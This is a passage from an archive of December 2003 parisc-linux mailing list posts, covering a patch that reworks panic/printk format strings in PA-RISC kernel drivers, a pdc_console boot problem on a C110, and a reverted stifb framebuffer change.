diff -Naur linux-2.6.0-pa5/drivers/parisc/sba_iommu.c linux-2.6.0-pa5.new/drivers/parisc/sba_iommu.c
--- linux-2.6.0-pa5/drivers/parisc/sba_iommu.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/drivers/parisc/sba_iommu.c	2003-12-27 16:57:40.000000000 +0100
@@ -579,7 +579,8 @@
 	if (pide >= (ioc->res_size << 3)) {
 		pide = sba_search_bitmap(ioc, pages_needed);
 		if (pide >= (ioc->res_size << 3))
-			panic(__FILE__ ": I/O MMU @ %lx is out of mapping resources\n", ioc->ioc_hpa);
+			panic("%s: I/O MMU @ %lx is out of mapping resources\n",
+			      __FILE__, ioc->ioc_hpa);
 	}
 
 #ifdef ASSERT_PDIR_SANITY
@@ -1781,7 +1782,8 @@
 
 		if (NULL == sba_dev->ioc[i].res_map)
 		{
-			panic(__FILE__ ":%s() could not allocate resource map\n", __FUNCTION__ );
+			panic("%s:%s() could not allocate resource map\n",
+			      __FILE__, __FUNCTION__ );
 		}
 
 		memset(sba_dev->ioc[i].res_map, 0, res_size);
diff -Naur linux-2.6.0-pa5/include/asm-parisc/pci.h linux-2.6.0-pa5.new/include/asm-parisc/pci.h
--- linux-2.6.0-pa5/include/asm-parisc/pci.h	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/include/asm-parisc/pci.h	2003-12-27 18:12:53.303140000 +0100
@@ -29,7 +29,8 @@
 #ifdef PCI_DEBUG
 #define ASSERT(expr) \
 	if(!(expr)) { \
-		printk( "\n" __FILE__ ":%d: Assertion " #expr " failed!\n",__LINE__); \
+		printk("\n%s:%d: Assertion " #expr " failed!\n", __FILE__,
+		       __LINE__); \
 		panic(#expr); \
 	}
 #else

--------------000306000706000404010004--



From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] printk cleanup
Date: Sat, 27 Dec 2003 18:06:24 +0000
Lines: 171
Approved: news@gmane.org
Message-ID: <3FEDCA20.3030003@tiscali.be>
References: <3FEDC568.30006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------040408080701060004060200"
X-Trace: ger.gmane.org 1416623090 3843 80.91.229.3 (22 Nov 2014 02:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sat Dec 27 11:05:24 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0982C488D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Dec 2003 11:05:24 -0700 (MST)
Original-Received: from [62.235.121.23] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AaIoU-0001IM-NH; Sat, 27 Dec 2003 19:05:22 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <3FEDC568.30006@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Dec 2003 18:05:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20511

This is a multi-part message in MIME format.
--------------040408080701060004060200
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

oops sory,

Joel Soete wrote:
> Hi all,
> 
> May I sugest following printk changes:
> =========><=========
> diff -Naur linux-2.6.0-pa5/include/asm-parisc/pci.h 
> linux-2.6.0-pa5.new/include/asm-parisc/pci.h
> --- linux-2.6.0-pa5/include/asm-parisc/pci.h    2003-12-27 
> 16:36:55.000000000 +0100
> +++ linux-2.6.0-pa5.new/include/asm-parisc/pci.h    2003-12-27 
> 18:12:53.303140000 +0100
> @@ -29,7 +29,8 @@
>  #ifdef PCI_DEBUG
>  #define ASSERT(expr) \
>      if(!(expr)) { \
> -        printk( "\n" __FILE__ ":%d: Assertion " #expr " 
> failed!\n",__LINE__); \
> +        printk("\n%s:%d: Assertion " #expr " failed!\n", __FILE__,
there is a typo                                                      ^^
should be better read                                       __FILE__, \
> +               __LINE__); \
>          panic(#expr); \
>      }
>  #else
> =========><=========
> 
Appologies,
J.

--------------040408080701060004060200
Content-Type: text/plain;
 name="PrintK.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="PrintK.diff"

diff -Naur linux-2.6.0-pa5/arch/parisc/kernel/pci-dma.c linux-2.6.0-pa5.new/arch/parisc/kernel/pci-dma.c
--- linux-2.6.0-pa5/arch/parisc/kernel/pci-dma.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/arch/parisc/kernel/pci-dma.c	2003-12-27 17:51:39.000000000 +0100
@@ -261,11 +261,13 @@
 	} else if(pages_needed <= 32) {
 		PCXL_FIND_FREE_MAPPING(res_idx, mask, 32);
 	} else {
-		panic(__FILE__ ": pcxl_alloc_range() Too many pages to map.\n");
+		panic("%s: pcxl_alloc_range() Too many pages to map.\n",
+		      __FILE__);
 	}
 
 	dump_resmap();
-	panic(__FILE__ ": pcxl_alloc_range() out of dma mapping resources\n");
+	panic("%s: pcxl_alloc_range() out of dma mapping resources\n",
+	      __FILE__);
 	
 resource_found:
 	
@@ -319,7 +321,8 @@
 	} else if(pages_mapped <= 32) {
 		PCXL_FREE_MAPPINGS(res_idx, mask, 32);
 	} else {
-		panic(__FILE__ ": pcxl_free_range() Too many pages to unmap.\n");
+		panic("%s: pcxl_free_range() Too many pages to unmap.\n",
+		      __FILE__);
 	}
 	
 	pcxl_used_pages -= (pages_mapped ? pages_mapped : 1);
diff -Naur linux-2.6.0-pa5/arch/parisc/math-emu/decode_exc.c linux-2.6.0-pa5.new/arch/parisc/math-emu/decode_exc.c
--- linux-2.6.0-pa5/arch/parisc/math-emu/decode_exc.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/arch/parisc/math-emu/decode_exc.c	2003-12-27 16:47:42.000000000 +0100
@@ -347,7 +347,7 @@
 		return SIGNALCODE(SIGFPE, FPE_FLTRES);
 	  default:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
-		printk(__FILE__ "(%d) Unknown FPU exception 0x%x\n",
+		printk("%s(%d) Unknown FPU exception 0x%x\n", __FILE__,
 			__LINE__, Excp_type(exception_index));
 		return SIGNALCODE(SIGILL, ILL_COPROC);
 	  case NOEXCEPTION:	/* no exception */
diff -Naur linux-2.6.0-pa5/drivers/parisc/ccio-dma.c linux-2.6.0-pa5.new/drivers/parisc/ccio-dma.c
--- linux-2.6.0-pa5/drivers/parisc/ccio-dma.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/drivers/parisc/ccio-dma.c	2003-12-27 16:55:57.000000000 +0100
@@ -364,11 +364,11 @@
 		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 64);
 #endif
 	} else {
-		panic(__FILE__ ": %s() Too many pages to map. pages_needed: %ld\n", 
-		      __FUNCTION__, pages_needed);
+		panic("%s: %s() Too many pages to map. pages_needed: %ld\n",
+		       __FILE__,  __FUNCTION__, pages_needed);
 	}
 
-	panic(__FILE__ ": %s() I/O MMU is out of mapping resources.\n", 
+	panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__,
 	      __FUNCTION__);
 	
 resource_found:
@@ -441,7 +441,7 @@
 		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 64);
 #endif
 	} else {
-		panic(__FILE__ ":%s() Too many pages to unmap.\n", 
+		panic("%s:%s() Too many pages to unmap.\n", __FILE__,
 		      __FUNCTION__);
 	}
 }
@@ -1447,7 +1447,8 @@
 	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL, 
 						 get_order(ioc->pdir_size));
 	if(NULL == ioc->pdir_base) {
-		panic(__FILE__ ":%s() could not allocate I/O Page Table\n", __FUNCTION__);
+		panic("%s:%s() could not allocate I/O Page Table\n", __FILE__,
+		      __FUNCTION__);
 	}
 	memset(ioc->pdir_base, 0, ioc->pdir_size);
 
@@ -1461,7 +1462,8 @@
 	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL, 
 					      get_order(ioc->res_size));
 	if(NULL == ioc->res_map) {
-		panic(__FILE__ ":%s() could not allocate resource map\n", __FUNCTION__);
+		panic("%s:%s() could not allocate resource map\n", __FILE__,
+		      __FUNCTION__);
 	}
 	memset(ioc->res_map, 0, ioc->res_size);
 
diff -Naur linux-2.6.0-pa5/drivers/parisc/sba_iommu.c linux-2.6.0-pa5.new/drivers/parisc/sba_iommu.c
--- linux-2.6.0-pa5/drivers/parisc/sba_iommu.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/drivers/parisc/sba_iommu.c	2003-12-27 16:57:40.000000000 +0100
@@ -579,7 +579,8 @@
 	if (pide >= (ioc->res_size << 3)) {
 		pide = sba_search_bitmap(ioc, pages_needed);
 		if (pide >= (ioc->res_size << 3))
-			panic(__FILE__ ": I/O MMU @ %lx is out of mapping resources\n", ioc->ioc_hpa);
+			panic("%s: I/O MMU @ %lx is out of mapping resources\n",
+			      __FILE__, ioc->ioc_hpa);
 	}
 
 #ifdef ASSERT_PDIR_SANITY
@@ -1781,7 +1782,8 @@
 
 		if (NULL == sba_dev->ioc[i].res_map)
 		{
-			panic(__FILE__ ":%s() could not allocate resource map\n", __FUNCTION__ );
+			panic("%s:%s() could not allocate resource map\n",
+			      __FILE__, __FUNCTION__ );
 		}
 
 		memset(sba_dev->ioc[i].res_map, 0, res_size);
diff -Naur linux-2.6.0-pa5/include/asm-parisc/pci.h linux-2.6.0-pa5.new/include/asm-parisc/pci.h
--- linux-2.6.0-pa5/include/asm-parisc/pci.h	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/include/asm-parisc/pci.h	2003-12-27 18:55:56.233140000 +0100
@@ -29,7 +29,8 @@
 #ifdef PCI_DEBUG
 #define ASSERT(expr) \
 	if(!(expr)) { \
-		printk( "\n" __FILE__ ":%d: Assertion " #expr " failed!\n",__LINE__); \
+		printk("\n%s:%d: Assertion " #expr " failed!\n", __FILE__, \
+		       __LINE__); \
 		panic(#expr); \
 	}
 #else

--------------040408080701060004060200--



From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable to
 open an initial console."
Date: Sat, 27 Dec 2003 21:00:49 +0000
Lines: 78
Approved: news@gmane.org
Message-ID: <3FEDF301.5030901@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623090 3848 80.91.229.3 (22 Nov 2014 02:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:50 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Dec 27 13:59:48 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84AAE487A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Dec 2003 13:59:48 -0700 (MST)
Original-Received: from [62.235.121.23] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AaLXH-0000gK-Bs; Sat, 27 Dec 2003 21:59:47 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Dec 2003 20:59:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20512

Hi all,

I try to see if pdc_console could be operational on my c110 with kernel 2.6.0-pa5.

So I uncheck serial_mux and check pdc_console with make menuconfig (edit also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
Then I create the special file "mknod /dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab

(I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)

But no way to make it works?

Linux version 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease) 3FP[0] enabled: Rev 1 Model 11 
                               The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 128 Mb
[snip]
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 128x48
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
[snip]
Freeing unused kernel memory: 504k freed
Warning: unable to open an initial console.
Adding 131832k swap on /dev/md1.  Priority:-1 extents:1
EXT3 FS on md2, internal journal
[snip]
....eth0: link ok.

Debian GNU/Linux testing/unstable hpalin ttyS0

hpalin login:

In th syslog I also notice:
[snip]
Dec 27 21:45:03 hpalin init: Id "TB0" respawning too fast: disabled for 5 minutes
Dec 27 21:52:15 hpalin init: Id "TB0" respawning too fast: disabled for 5 minutes
[snip]

And don't find any such device with:
# cat /proc/devices
Character devices:
   1 mem
   2 pty
   3 ttyp
   4 /dev/vc/0
   4 tty
   4 ttyS
   5 /dev/tty
   5 /dev/console
   5 /dev/ptmx
   6 lp
   7 vcs
   9 st
  10 misc
  13 input
  14 sound
  21 sg
  29 fb
  36 netlink
128 ptm
136 pts
180 usb
[snip]

Any idea? (what should I do wrongly?)

Thanks in advance for attention,
	Joel



From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] printk cleanup
Date: Sun, 28 Dec 2003 00:16:23 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <200312280016.23280.deller@gmx.de>
References: <3FEDC568.30006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623091 3852 80.91.229.3 (22 Nov 2014 02:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sat Dec 27 16:16:38 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8C4D64895
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Dec 2003 16:16:37 -0700 (MST)
Original-Received: (qmail 26479 invoked by uid 65534); 27 Dec 2003 23:16:26 -0000
Original-Received: from pD904060A.dip.t-dialin.net (EHLO p100) (217.4.6.10)
	by mail.gmx.net (mp018) with SMTP; 28 Dec 2003 00:16:26 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <3FEDC568.30006@tiscali.be>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Dec 2003 23:16:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20513

On Saturday 27 December 2003 18:46, Joel Soete wrote:
> PS: I also notice some printk("\n" KERNEL_... "...");
> would it not be better to change in printk(KERNEL_... "\n...");

Mostly: No.
The "\n" is there to finish some previous printk()s and
the KERNEL_xx in the middle of the strings is needed 
after a \n to put the printed string in the right context
(e.g. this ensures the text to be prefixed correctly in
the kernel syslog).

Helge


From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable to
	open an initial console."
Date: Sun, 28 Dec 2003 00:19:55 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <200312280019.55830.deller@gmx.de>
References: <3FEDF301.5030901@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623091 3854 80.91.229.3 (22 Nov 2014 02:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sat Dec 27 16:19:59 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 90DF348BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Dec 2003 16:19:58 -0700 (MST)
Original-Received: (qmail 20097 invoked by uid 65534); 27 Dec 2003 23:19:57 -0000
Original-Received: from pD904060A.dip.t-dialin.net (EHLO datime) (217.4.6.10)
	by mail.gmx.net (mp007) with SMTP; 28 Dec 2003 00:19:57 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <3FEDF301.5030901@tiscali.be>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Dec 2003 23:19:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20514

On Saturday 27 December 2003 22:00, Joel Soete wrote:
> I try to see if pdc_console could be operational on my c110 with kernel 2.6.0-pa5.
> 
> So I uncheck serial_mux and check pdc_console with make menuconfig (edit also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
> Then I create the special file "mknod /dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab
> 
> (I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)
> 
> But no way to make it works?
> 
> Linux version 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease) 3FP[0] enabled: Rev 1 Model 11 
>                                The 32-bit Kernel has started...
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
> CPUID vers 11 rev 13 (0x0000016d)
> model 9000/777/C110
> Total Memory: 128 Mb
> [snip]
> Soft power switch enabled, polling @ 0xf0140000.
> Console: switching to colour frame buffer device 128x48
> pty: 256 Unix98 ptys configured
> lp: driver loaded but no devices found
> Generic RTC Driver v1.07
> Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
> ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
> ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A

Your machine has standard serial ports. So why do you want to
switch on serial_mux stuff when it's not needed (and not possible
since the device is not present in your machine) ?

Helge


From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 deller
Date: 28 Dec 2003 09:35:24 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1072625725.1785.0.camel@mulgrave>
References: <20031222213542.E2B3F4942A8@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623091 3858 80.91.229.3 (22 Nov 2014 02:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:51 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sun Dec 28 08:35:27 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C34D54852; Sun, 28 Dec 2003 08:35:26 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBSFZPa15384; Sun, 28 Dec 2003 10:35:25 -0500
In-Reply-To: <20031222213542.E2B3F4942A8@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Dec 2003 15:35:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20515

On Mon, 2003-12-22 at 15:35, Helge Deller wrote:
> - add special case for VIS EG in RDI Precisionbook Laptop - stifb does
> not yet support the framebuffer on the internal flatscreen display, so
> disable stifb support on this special device for now.

This change has disabled the framebuffer on my B180.  Now it prints

STI GSC/PCI core graphics driver Version 0.9a
STI word mode ROM at f0011000, hpa at f8000000
STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1024
stifb: framebuffer support on internal RDI precisionbook flatscreen not
yet supported.

On boot.

James




From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 deller
Date: Sun, 28 Dec 2003 18:01:41 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <200312281801.41466.deller@gmx.de>
References: <20031222213542.E2B3F4942A8@palinux.hppa>
	<1072625725.1785.0.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623092 3861 80.91.229.3 (22 Nov 2014 02:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Dec 28 10:01:51 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 273A34852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Dec 2003 10:01:51 -0700 (MST)
Original-Received: (qmail 27736 invoked by uid 65534); 28 Dec 2003 17:01:49 -0000
Original-Received: from pD9040D6B.dip.t-dialin.net (EHLO p100) (217.4.13.107)
	by mail.gmx.net (mp026) with SMTP; 28 Dec 2003 18:01:49 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <1072625725.1785.0.camel@mulgrave>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Dec 2003 17:01:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20516

On Sunday 28 December 2003 16:35, James Bottomley wrote:
> On Mon, 2003-12-22 at 15:35, Helge Deller wrote:
> > - add special case for VIS EG in RDI Precisionbook Laptop - stifb does
> > not yet support the framebuffer on the internal flatscreen display, so
> > disable stifb support on this special device for now.
> 
> This change has disabled the framebuffer on my B180.  Now it prints
> 
> STI GSC/PCI core graphics driver Version 0.9a
> STI word mode ROM at f0011000, hpa at f8000000
> STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
> STI device: INTERNAL_EG_1024
> stifb: framebuffer support on internal RDI precisionbook flatscreen not
> yet supported.
> 
> On boot.

Please update again. I reverted that change some minutes after my 
first commit.

Helge


From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 deller
Date: 28 Dec 2003 11:06:03 -0600
